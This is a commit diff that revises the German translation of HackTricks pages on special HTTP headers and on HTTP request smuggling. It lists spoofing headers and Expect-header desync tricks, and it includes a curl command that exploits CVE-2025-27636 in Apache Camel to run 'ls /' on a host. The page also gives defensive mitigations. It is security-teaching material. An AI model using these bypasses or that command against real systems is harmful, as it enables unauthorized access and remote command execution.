mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/
This commit is contained in:
parent
36b13dc56b
commit
2a90a14dc8
@ -1,4 +1,4 @@
|
||||
# Besondere HTTP-Header
|
||||
# Spezielle HTTP-Header
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -7,9 +7,9 @@
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||
|
||||
## Header zur Änderung des Standorts
|
||||
## Header zur Änderung des Ursprungs
|
||||
|
||||
Ändern Sie **IP-Quelle**:
|
||||
Rewrite **IP source**:
|
||||
|
||||
- `X-Originating-IP: 127.0.0.1`
|
||||
- `X-Forwarded-For: 127.0.0.1`
|
||||
@ -26,42 +26,63 @@
|
||||
- `True-Client-IP: 127.0.0.1`
|
||||
- `Cluster-Client-IP: 127.0.0.1`
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (Überprüfen Sie die Hop-by-Hop-Header)
|
||||
- `Connection: close, X-Forwarded-For` (Hop-by-Hop-Header prüfen)
|
||||
|
||||
Ändern Sie **Standort**:
|
||||
Rewrite **location**:
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
## Hop-by-Hop-Header
|
||||
|
||||
Ein Hop-by-Hop-Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der die Anfrage derzeit bearbeitet, verarbeitet und konsumiert zu werden, im Gegensatz zu einem End-to-End-Header.
|
||||
Ein Hop-by-Hop-Header ist ein Header, der dafür vorgesehen ist, vom Proxy, der gerade die Anfrage bearbeitet, verarbeitet und konsumiert zu werden — im Gegensatz zu einem end-to-end-Header.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## HTTP-Anforderungs-Schmuggeln
|
||||
## HTTP Request Smuggling
|
||||
|
||||
- `Content-Length: 30`
|
||||
- `Transfer-Encoding: chunked`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## Der Expect-Header
|
||||
|
||||
Es ist möglich, dass der Client den Header `Expect: 100-continue` sendet und der Server mit `HTTP/1.1 100 Continue` antwortet, um dem Client das Fortsetzen des Sends des Request-Bodys zu erlauben. Einige Proxies mögen diesen Header jedoch nicht.
|
||||
|
||||
Interessante Ergebnisse von `Expect: 100-continue`:
|
||||
- Senden einer HEAD-Anfrage mit einem Body: einige Server berücksichtigten nicht, dass HEAD-Anfragen keinen Body haben, und hielten die Verbindung offen, bis sie timeoute.
|
||||
- Manche Server sendeten seltsame Daten zurück: zufällige Daten, die vom Socket gelesen wurden, geheime Schlüssel oder es erlaubte, dass Front-Ends bestimmte Header-Werte nicht entfernten.
|
||||
- Es verursachte auch einen `0.CL`-Desync, weil das Backend mit einer 400-Antwort statt mit 100 antwortete, das Proxy-Frontend aber bereits vorbereitet war, den Body der ursprünglichen Anfrage zu senden. Es schickte ihn; das Backend interpretierte ihn als neue Anfrage.
|
||||
- Das Senden einer Variation wie `Expect: y 100-continue` führte ebenfalls zu einem `0.CL`-Desync.
|
||||
- Ein ähnlicher Fehler, bei dem das Backend mit einer 404 antwortete, erzeugte einen `CL.0`-Desync, weil die bösartige Anfrage eine `Content-Length` angab. Das Backend sendet die bösartige Anfrage plus die `Content-Length` Bytes der nächsten Anfrage (eines Opfers). Dadurch synchronisiert sich die Queue nicht mehr: Das Backend sendet die 404-Antwort für die bösartige Anfrage plus die Antwort der Opfer-Anfrage, das Frontend dachte jedoch, nur eine Antwort sei gesendet worden, sodass die zweite Antwort an einen anderen Empfänger geht usw.
|
||||
|
||||
Für mehr Infos zu HTTP Request Smuggling siehe:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Cache-Header
|
||||
|
||||
**Server-Cache-Header**:
|
||||
|
||||
- **`X-Cache`** in der Antwort kann den Wert **`miss`** haben, wenn die Anfrage nicht im Cache war, und den Wert **`hit`**, wenn sie im Cache ist
|
||||
- Ähnliches Verhalten im Header **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** gibt an, ob eine Ressource im Cache gespeichert wird und wann die Ressource das nächste Mal wieder im Cache gespeichert wird: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** wird oft in der Antwort verwendet, um **zusätzliche Header** anzuzeigen, die als **Teil des Cache-Schlüssels** behandelt werden, auch wenn sie normalerweise nicht als Schlüssel verwendet werden.
|
||||
- **`X-Cache`** in der Antwort kann den Wert **`miss`** haben, wenn die Anfrage nicht gecached wurde, und den Wert **`hit`**, wenn sie gecached wurde.
|
||||
- Ähnliches Verhalten beim Header **`Cf-Cache-Status`**.
|
||||
- **`Cache-Control`** zeigt an, ob eine Ressource gecached wird und wann sie erneut gecached wird: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** wird oft in der Antwort verwendet, um **zusätzliche Header anzugeben**, die als **Teil des Cache-Keys** behandelt werden, selbst wenn sie normalerweise nicht berücksichtigt werden.
|
||||
- **`Age`** definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** zeigt ebenfalls an, dass eine Ressource im Cache gespeichert wurde
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** zeigt ebenfalls an, dass eine Ressource gecached wurde.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
@ -69,37 +90,37 @@ Ein Hop-by-Hop-Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der d
|
||||
|
||||
**Lokale Cache-Header**:
|
||||
|
||||
- `Clear-Site-Data`: Header, um anzugeben, dass der Cache entfernt werden soll: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Enthält Datum/Uhrzeit, wann die Antwort ablaufen soll: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` dasselbe wie `Cache-Control: no-cache`
|
||||
- `Warning`: Der **`Warning`** allgemeine HTTP-Header enthält Informationen über mögliche Probleme mit dem Status der Nachricht. Mehr als ein `Warning`-Header kann in einer Antwort erscheinen. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Clear-Site-Data`: Header, um anzugeben, welche Caches entfernt werden sollen: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Enthält Datum/Uhrzeit, wann die Antwort verfallen soll: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` entspricht `Cache-Control: no-cache`
|
||||
- `Warning`: Der allgemeine HTTP-Header **`Warning`** enthält Informationen über mögliche Probleme mit dem Status der Nachricht. Mehr als ein `Warning`-Header kann in einer Antwort erscheinen. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Bedingungen
|
||||
## Konditionale Anfragen
|
||||
|
||||
- Anfragen, die diese Header verwenden: **`If-Modified-Since`** und **`If-Unmodified-Since`** werden nur mit Daten beantwortet, wenn der Antwortheader **`Last-Modified`** eine andere Zeit enthält.
|
||||
- Bedingte Anfragen, die **`If-Match`** und **`If-None-Match`** verwenden, nutzen einen Etag-Wert, sodass der Webserver den Inhalt der Antwort sendet, wenn sich die Daten (Etag) geändert haben. Der `Etag` wird aus der HTTP-Antwort entnommen.
|
||||
- Der **Etag**-Wert wird normalerweise **basierend auf dem Inhalt** der Antwort **berechnet**. Zum Beispiel zeigt `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` an, dass der `Etag` der **Sha1** von **37 Bytes** ist.
|
||||
- Anfragen mit diesen Headern: **`If-Modified-Since`** und **`If-Unmodified-Since`** werden nur dann mit Daten beantwortet, wenn der Response-Header **`Last-Modified`** eine abweichende Zeit enthält.
|
||||
- Konditionale Anfragen mit **`If-Match`** und **`If-None-Match`** verwenden einen Etag-Wert, sodass der Webserver den Inhalt nur sendet, wenn sich die Daten (Etag) geändert haben. Der `Etag` stammt aus der HTTP-Antwort.
|
||||
- Der **Etag**-Wert wird normalerweise **auf Basis** des **Inhalts** der Antwort berechnet. Zum Beispiel zeigt `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` an, dass der `Etag` der **SHA1** von **37 Bytes** ist.
|
||||
|
||||
## Bereichsanfragen
|
||||
## Range-Anfragen
|
||||
|
||||
- **`Accept-Ranges`**: Gibt an, ob der Server Bereichsanfragen unterstützt und, falls ja, in welcher Einheit der Bereich ausgedrückt werden kann. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Gibt den Teil eines Dokuments an, den der Server zurückgeben soll. Zum Beispiel wird `Range:80-100` die Bytes 80 bis 100 der ursprünglichen Antwort mit einem Statuscode von 206 Partial Content zurückgeben. Denken Sie auch daran, den `Accept-Encoding`-Header aus der Anfrage zu entfernen.
|
||||
- Dies könnte nützlich sein, um eine Antwort mit beliebigem reflektiertem JavaScript-Code zu erhalten, der sonst möglicherweise entkommen könnte. Um dies auszunutzen, müssten Sie jedoch diese Header in die Anfrage injizieren.
|
||||
- **`If-Range`**: Erstellt eine bedingte Bereichsanfrage, die nur erfüllt wird, wenn der angegebene Etag oder das Datum mit der entfernten Ressource übereinstimmt. Wird verwendet, um das Herunterladen von zwei Bereichen aus inkompatiblen Versionen der Ressource zu verhindern.
|
||||
- **`Content-Range`**: Gibt an, wo in einer vollständigen Nachrichtenkörpernachricht eine partielle Nachricht gehört.
|
||||
- **`Accept-Ranges`**: Gibt an, ob der Server Range-Anfragen unterstützt und in welcher Einheit die Range ausgedrückt werden kann. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Gibt den Teil eines Dokuments an, den der Server zurückgeben soll. Zum Beispiel gibt `Range:80-100` die Bytes 80 bis 100 der ursprünglichen Antwort mit dem Statuscode 206 Partial Content zurück. Entferne außerdem den Header `Accept-Encoding` aus der Anfrage.
|
||||
- Das kann nützlich sein, um eine Antwort mit beliebigem reflektiertem JavaScript-Code zu erhalten, der sonst escaped würde. Um dies zu missbrauchen, musst du diese Header in die Anfrage injizieren.
|
||||
- **`If-Range`**: Erstellt eine konditionale Range-Anfrage, die nur erfüllt wird, wenn der angegebene Etag oder das Datum mit der Remote-Ressource übereinstimmt. Wird verwendet, um zu verhindern, dass zwei Ranges von inkompatiblen Versionen der Ressource heruntergeladen werden.
|
||||
- **`Content-Range`**: Gibt an, wo in einer vollständigen Nachricht ein Teilabschnitt gehört.
|
||||
|
||||
## Informationen zum Nachrichtenkörper
|
||||
## Informationen zum Message-Body
|
||||
|
||||
- **`Content-Length`:** Die Größe der Ressource, in dezimalen Bytes.
|
||||
- **`Content-Type`**: Gibt den Medientyp der Ressource an
|
||||
- **`Content-Encoding`**: Wird verwendet, um den Komprimierungsalgorithmus anzugeben.
|
||||
- **`Content-Language`**: Beschreibt die menschliche Sprache(n), die für das Publikum bestimmt sind, sodass es einem Benutzer ermöglicht, je nach bevorzugter Sprache des Benutzers zu unterscheiden.
|
||||
- **`Content-Location`**: Gibt einen alternativen Standort für die zurückgegebenen Daten an.
|
||||
- **`Content-Length`:** Die Größe der Ressource in dezimaler Anzahl von Bytes.
|
||||
- **`Content-Type`**: Gibt den Medientyp der Ressource an.
|
||||
- **`Content-Encoding`**: Wird verwendet, um den Kompressionsalgorithmus anzugeben.
|
||||
- **`Content-Language`**: Beschreibt die menschliche(n) Sprache(n) für das Publikum, damit ein Benutzer nach seiner bevorzugten Sprache unterscheiden kann.
|
||||
- **`Content-Location`**: Gibt einen alternativen Ort für die zurückgegebenen Daten an.
|
||||
|
||||
Aus der Sicht eines Pentests sind diese Informationen normalerweise "nutzlos", aber wenn die Ressource **geschützt** ist durch eine 401 oder 403 und Sie einen **Weg** finden können, um diese **Info** zu **erhalten**, könnte dies **interessant** sein.\
|
||||
Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD-Anfrage den Inhalt der Seite über HEAD-Anfragen leaken:
|
||||
Aus pentest-Sicht sind diese Informationen normalerweise "nutzlos", aber wenn die Ressource durch einen 401 oder 403 geschützt ist und du irgendeinen Weg findest, diese Info zu bekommen, könnte das interessant sein.\
|
||||
Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD-Anfrage den Inhalt der Seite via HEAD-Anfragen leak'en:
|
||||
|
||||
- Eine Anfrage mit dem Header `Range: bytes=20-20` und einer Antwort, die `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` enthält, leakt, dass der SHA1 des Bytes 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ist.
|
||||
- Eine Anfrage mit dem Header `Range: bytes=20-20` und mit einer Antwort, die `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` enthält, leak't, dass der SHA1 des Bytes 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ist.
|
||||
|
||||
## Server-Info
|
||||
|
||||
@ -108,28 +129,29 @@ Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD-
|
||||
|
||||
## Kontrollen
|
||||
|
||||
- **`Allow`**: Dieser Header wird verwendet, um die HTTP-Methoden zu kommunizieren, die eine Ressource verarbeiten kann. Zum Beispiel könnte er als `Allow: GET, POST, HEAD` angegeben werden, was darauf hinweist, dass die Ressource diese Methoden unterstützt.
|
||||
- **`Expect`**: Wird vom Client verwendet, um Erwartungen zu übermitteln, die der Server erfüllen muss, damit die Anfrage erfolgreich verarbeitet werden kann. Ein häufiges Anwendungsbeispiel ist der Header `Expect: 100-continue`, der signalisiert, dass der Client beabsichtigt, eine große Datenmenge zu senden. Der Client wartet auf eine `100 (Continue)`-Antwort, bevor er mit der Übertragung fortfährt. Dieser Mechanismus hilft, die Netzwerknutzung zu optimieren, indem er auf die Bestätigung des Servers wartet.
|
||||
- **`Allow`**: Dieser Header wird verwendet, um die HTTP-Methoden zu kommunizieren, die eine Ressource verarbeiten kann. Zum Beispiel kann `Allow: GET, POST, HEAD` angeben, dass die Ressource diese Methoden unterstützt.
|
||||
- **`Expect`**: Vom Client genutzt, um Erwartungen zu übermitteln, die der Server erfüllen muss, damit die Anfrage erfolgreich verarbeitet werden kann. Ein häufiges Beispiel ist der Header `Expect: 100-continue`, der signalisiert, dass der Client einen großen Payload senden will und auf eine `100 (Continue)`-Antwort wartet, bevor er fortfährt. Dieser Mechanismus hilft, Netzwerkressourcen zu optimieren, indem auf die Bestätigung des Servers gewartet wird.
|
||||
|
||||
## Downloads
|
||||
|
||||
- Der **`Content-Disposition`**-Header in HTTP-Antworten gibt an, ob eine Datei **inline** (innerhalb der Webseite) oder als **Anhang** (heruntergeladen) behandelt werden soll. Zum Beispiel:
|
||||
- Der **`Content-Disposition`**-Header in HTTP-Antworten gibt an, ob eine Datei **inline** (innerhalb der Webseite) angezeigt oder als **attachment** (heruntergeladen) behandelt werden soll. Zum Beispiel:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
Das bedeutet, dass die Datei mit dem Namen "filename.jpg" zum Herunterladen und Speichern bestimmt ist.
|
||||
Das bedeutet, dass die Datei mit dem Namen "filename.jpg" zum Herunterladen und Speichern vorgesehen ist.
|
||||
|
||||
## Sicherheitsheader
|
||||
## Sicherheits-Header
|
||||
|
||||
### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
### **Vertrauenswürdige Typen**
|
||||
### **Trusted Types**
|
||||
|
||||
Durch die Durchsetzung von Vertrauenswürdigen Typen über CSP können Anwendungen vor DOM XSS-Angriffen geschützt werden. Vertrauenswürdige Typen stellen sicher, dass nur speziell gestaltete Objekte, die den festgelegten Sicherheitsrichtlinien entsprechen, in gefährlichen Web-API-Aufrufen verwendet werden können, wodurch JavaScript-Code standardmäßig gesichert wird.
|
||||
Durch das Erzwingen von Trusted Types über CSP können Anwendungen gegen DOM XSS-Angriffe geschützt werden. Trusted Types stellen sicher, dass nur speziell erstellte Objekte, die den festgelegten Sicherheitsrichtlinien entsprechen, in gefährlichen Web-API-Aufrufen verwendet werden dürfen, wodurch JavaScript-Code standardmäßig geschützt wird.
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -148,19 +170,19 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
Dieser Header verhindert MIME-Typ-Sniffing, eine Praxis, die zu XSS-Sicherheitsanfälligkeiten führen könnte. Er stellt sicher, dass Browser die vom Server angegebenen MIME-Typen respektieren.
|
||||
Dieser Header verhindert MIME-Type-Sniffing, eine Praxis, die zu XSS-Schwachstellen führen kann. Er sorgt dafür, dass Browser die vom Server angegebenen MIME‑Typen respektieren.
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
Um Clickjacking zu bekämpfen, schränkt dieser Header ein, wie Dokumente in `<frame>`, `<iframe>`, `<embed>` oder `<object>`-Tags eingebettet werden können, und empfiehlt, dass alle Dokumente ihre Einbettungsberechtigungen ausdrücklich angeben.
|
||||
Um Clickjacking zu verhindern, beschränkt dieser Header, wie Dokumente in `<frame>`, `<iframe>`, `<embed>` oder `<object>`-Tags eingebettet werden können, und empfiehlt, dass alle Dokumente ihre Einbettungsberechtigungen explizit angeben.
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **Cross-Origin Resource Policy (CORP) und Cross-Origin Resource Sharing (CORS)**
|
||||
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP ist entscheidend für die Festlegung, welche Ressourcen von Websites geladen werden können, um Cross-Site-Leaks zu mindern. CORS hingegen ermöglicht einen flexibleren Mechanismus für das Cross-Origin-Ressourcenteilung, der die Same-Origin-Policy unter bestimmten Bedingungen lockert.
|
||||
CORP ist entscheidend, um festzulegen, welche Ressourcen von Websites geladen werden dürfen, und mindert cross-site leaks. CORS hingegen ermöglicht einen flexibleren Mechanismus für cross-origin resource sharing und lockert die same-origin policy unter bestimmten Bedingungen.
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
@ -168,50 +190,51 @@ Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **Cross-Origin Embedder Policy (COEP) und Cross-Origin Opener Policy (COOP)**
|
||||
|
||||
COEP und COOP sind entscheidend für die Ermöglichung von Cross-Origin-Isolation und reduzieren erheblich das Risiko von Angriffen wie Spectre. Sie steuern das Laden von Cross-Origin-Ressourcen und die Interaktion mit Cross-Origin-Fenstern.
|
||||
COEP und COOP sind wesentlich, um Cross-Origin-Isolation zu ermöglichen, und reduzieren dadurch signifikant das Risiko von Spectre-ähnlichen Angriffen. Sie kontrollieren jeweils das Laden von Cross-Origin-Ressourcen und die Interaktion mit Cross-Origin-Fenstern.
|
||||
```
|
||||
Cross-Origin-Embedder-Policy: require-corp
|
||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
### **HTTP Strict Transport Security (HSTS)**
|
||||
|
||||
Zuletzt ist HSTS eine Sicherheitsfunktion, die Browser zwingt, nur über sichere HTTPS-Verbindungen mit Servern zu kommunizieren, wodurch die Privatsphäre und Sicherheit verbessert wird.
|
||||
Schließlich ist HSTS eine Sicherheitsfunktion, die Browser dazu zwingt, nur über sichere HTTPS-Verbindungen mit Servern zu kommunizieren, und dadurch Datenschutz und Sicherheit erhöht.
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 definiert Headerfeldnamen als **groß-/kleinschreibungsempfindlich** (RFC 9110 §5.1). Dennoch ist es sehr häufig, benutzerdefinierte Middleware, Sicherheitsfilter oder Geschäftslogik zu finden, die den *wörtlichen* Headernamen vergleicht, ohne die Groß- und Kleinschreibung zuerst zu normalisieren (z. B. `header.equals("CamelExecCommandExecutable")`). Wenn diese Überprüfungen **groß-/kleinschreibungsempfindlich** durchgeführt werden, kann ein Angreifer sie einfach umgehen, indem er denselben Header mit einer anderen Großschreibung sendet.
|
||||
HTTP/1.1 definiert Header-Feldnamen als **ohne Berücksichtigung der Groß-/Kleinschreibung** (RFC 9110 §5.1). Dennoch ist es sehr verbreitet, dass benutzerdefinierte Middleware, Sicherheitsfilter oder Business-Logic den *wörtlichen* empfangenen Header-Namen vergleichen, ohne die Groß-/Kleinschreibung zuerst zu normalisieren (z. B. `header.equals("CamelExecCommandExecutable")`). Wenn diese Prüfungen **groß-/kleinschreibungssensitiv** durchgeführt werden, kann ein Angreifer sie einfach umgehen, indem er denselben Header mit anderer Groß-/Kleinschreibung sendet.
|
||||
|
||||
Typische Situationen, in denen dieser Fehler auftritt:
|
||||
|
||||
* Benutzerdefinierte Erlauben/Verweigern-Listen, die versuchen, „gefährliche“ interne Header zu blockieren, bevor die Anfrage eine sensible Komponente erreicht.
|
||||
* Interne Implementierungen von Reverse-Proxy-Pseudo-Headern (z. B. `X-Forwarded-For` Sanitierung).
|
||||
* Frameworks, die Verwaltungs-/Debug-Endpunkte exponieren und auf Headernamen für Authentifizierung oder Befehlsauswahl angewiesen sind.
|
||||
* Benutzerdefinierte Allow/Deny-Listen, die versuchen, „gefährliche“ interne Header zu blockieren, bevor die Anfrage eine sensitive Komponente erreicht.
|
||||
* Interne Implementierungen von reverse-proxy Pseudo-Headern (z. B. `X-Forwarded-For`-Sanitisierung).
|
||||
* Frameworks, die Management-/Debug-Endpunkte exponieren und sich bei Authentifizierung oder Kommandoauswahl auf Header-Namen verlassen.
|
||||
|
||||
### Abusing the bypass
|
||||
### Umgehung ausnutzen
|
||||
|
||||
1. Identifizieren Sie einen Header, der serverseitig gefiltert oder validiert wird (zum Beispiel durch Lesen des Quellcodes, der Dokumentation oder von Fehlermeldungen).
|
||||
2. Senden Sie den **gleichen Header mit einer anderen Großschreibung** (gemischte Groß- und Kleinschreibung oder Großbuchstaben). Da HTTP-Stacks Header normalerweise nur *nach* der Ausführung des Benutzercodes kanonisieren, kann die anfällige Überprüfung übersprungen werden.
|
||||
3. Wenn die nachgelagerte Komponente Header groß-/kleinschreibungsempfindlich behandelt (die meisten tun dies), akzeptiert sie den vom Angreifer kontrollierten Wert.
|
||||
1. Identifiziere einen Header, der serverseitig gefiltert oder validiert wird (z. B. durch Lesen von Quellcode, Dokumentation oder Fehlermeldungen).
|
||||
2. Sende den **denselben Header mit anderer Groß-/Kleinschreibung** (gemischte Schreibweise oder Großbuchstaben). Da HTTP-Stacks Header normalerweise erst *nach* der Ausführung von User-Code kanonisieren, kann die verwundbare Prüfung übersprungen werden.
|
||||
3. Wenn die nachgelagerte Komponente Header ohne Berücksichtigung der Groß-/Kleinschreibung behandelt (die meisten tun das), akzeptiert sie den vom Angreifer kontrollierten Wert.
|
||||
|
||||
### Beispiel: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
In anfälligen Versionen von Apache Camel versuchen die *Command Center*-Routen, untrusted Anfragen zu blockieren, indem sie die Header `CamelExecCommandExecutable` und `CamelExecCommandArgs` entfernen. Der Vergleich wurde mit `equals()` durchgeführt, sodass nur die genauen Kleinbuchstabennamen entfernt wurden.
|
||||
In verwundbaren Versionen von Apache Camel versuchen die *Command Center*-Routes, nicht vertrauenswürdige Anfragen zu blockieren, indem sie die Header `CamelExecCommandExecutable` und `CamelExecCommandArgs` entfernen. Der Vergleich erfolgte mit `equals()`, sodass nur exakt übereinstimmende (case-sensitive) Namen entfernt wurden.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
Die Header erreichen die `exec`-Komponente ungefiltert, was zu einer Remote-Befehlsausführung mit den Rechten des Camel-Prozesses führt.
|
||||
Die Header erreichen die `exec`-Komponente ungefiltert, was zu remote command execution mit den Rechten des Camel-Prozesses führt.
|
||||
|
||||
### Erkennung & Minderung
|
||||
### Erkennung & Gegenmaßnahmen
|
||||
|
||||
* Normalisiere alle Header-Namen auf eine einheitliche Schreibweise (meistens lowercase) **bevor** allow/deny-Vergleiche durchgeführt werden.
|
||||
* Verdächtige Duplikate ablehnen: wenn sowohl `Header:` als auch `HeAdEr:` vorhanden sind, behandle das als Anomalie.
|
||||
* Verwende eine positive allow-list, die **nach** der canonicalisation durchgesetzt wird.
|
||||
* Schütze Management-Endpunkte durch Authentifizierung und Netzwerksegmentierung.
|
||||
|
||||
* Normalisieren Sie alle Header-Namen auf einen einheitlichen Fall (in der Regel Kleinbuchstaben) **bevor** Sie Erlauben/Verweigern-Vergleiche durchführen.
|
||||
* Ablehnen von verdächtigen Duplikaten: Wenn sowohl `Header:` als auch `HeAdEr:` vorhanden sind, behandeln Sie dies als Anomalie.
|
||||
* Verwenden Sie eine positive Erlauben-Liste, die **nach** der Kanonisierung durchgesetzt wird.
|
||||
* Schützen Sie Verwaltungsendpunkte mit Authentifizierung und Netzwerksegmentierung.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -5,8 +5,8 @@
|
||||
|
||||
## Was ist
|
||||
|
||||
Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **Front-End-Proxies** und dem **Back-End-Server** es einem **Angreifer** erlaubt, eine HTTP **Request** zu **senden**, die von den **Front-End**-Proxies (Load Balancer / Reverse-Proxy) als **eine einzelne Request** und vom **Back-End**-Server **als 2 Requests** **interpretiert** wird.\
|
||||
Dies ermöglicht einem Benutzer, die **nächste Request, die am Back-End-Server ankommt, nach seiner eigenen** zu **verändern**.
|
||||
Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **front-end proxies** und dem **back-end** Server es einem **Angreifer** erlaubt, eine HTTP **request** zu **senden**, die von den **front-end** proxies (load balance/reverse-proxy) als **eine Anfrage** und vom **back-end** Server **als 2 request** interpretiert wird.\
|
||||
Das ermöglicht einem Benutzer, die nächste request, die nach seiner beim back-end Server ankommt, zu verändern.
|
||||
|
||||
### Theorie
|
||||
|
||||
@ -25,40 +25,56 @@ Dies ermöglicht einem Benutzer, die **nächste Request, die am Back-End-Server
|
||||
|
||||
### Realität
|
||||
|
||||
Das **Front-End** (ein Load-Balancer / Reverse Proxy) **verarbeitet** den _**Content-Length**_- oder den _**Transfer-Encoding**_-Header und der **Back-End**-Server **verarbeitet den anderen**, wodurch eine **Desynchronisation** zwischen den beiden Systemen entsteht.\
|
||||
Das kann sehr kritisch sein, da **ein Angreifer eine einzelne Request** an den Reverse-Proxy senden kann, die vom **Back-End**-Server **als 2 verschiedene Requests** **interpretiert** wird. Die **Gefahr** dieser Technik liegt darin, dass der **Back-End**-Server die **eingeschleuste 2. Request** so interpretiert, als käme sie **vom nächsten Client**, und die **echte Request** dieses Clients Teil der **eingeschleusten Request** wird.
|
||||
Das **Front-End** (ein Load-Balancer / Reverse Proxy) verarbeitet den _**content-length**_ oder den _**transfer-encoding**_ Header und der **Back-end** Server verarbeitet den anderen, was eine **Desynchronisation** zwischen den beiden Systemen hervorruft.\
|
||||
Das kann sehr kritisch sein, da **ein Angreifer eine request** an den Reverse Proxy senden kann, die vom **back-end** Server **als 2 verschiedene requests** interpretiert wird. Die **Gefahr** dieser Technik liegt darin, dass der **back-end** Server die **2. injizierte request** so interpretieren wird, als stamme sie **vom nächsten Client**, und die **echte request** dieses Clients Teil der **injizierten request** wird.
|
||||
|
||||
### Besonderheiten
|
||||
|
||||
Denke daran, dass im HTTP-Protokoll **ein Zeilenumbruch aus 2 Bytes besteht:**
|
||||
Denke daran, dass in HTTP **ein Newline-Zeichen aus 2 Bytes besteht:**
|
||||
|
||||
- **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Bodys** der Request anzugeben. Der Body wird erwartet, im letzten Zeichen zu enden, **ein Zeilenumbruch am Ende der Request ist nicht nötig**.
|
||||
- **Transfer-Encoding:** Dieser Header verwendet im **Body** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Das **Chunk** muss mit einem **Zeilenumbruch enden**, aber dieser Zeilenumbruch **wird nicht** in der Längenangabe mitgezählt. Diese Transfer-Methode muss mit einem **Chunk der Größe 0 gefolgt von 2 Zeilenumbrüchen** enden: `0`
|
||||
- **Connection**: Nach meiner Erfahrung wird empfohlen, bei der ersten Request des Request Smuggling **`Connection: keep-alive`** zu verwenden.
|
||||
- **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Bodys** der request anzugeben. Der Body wird erwartet, im letzten Zeichen zu enden, **ein Newline am Ende der Anfrage ist nicht erforderlich**.
|
||||
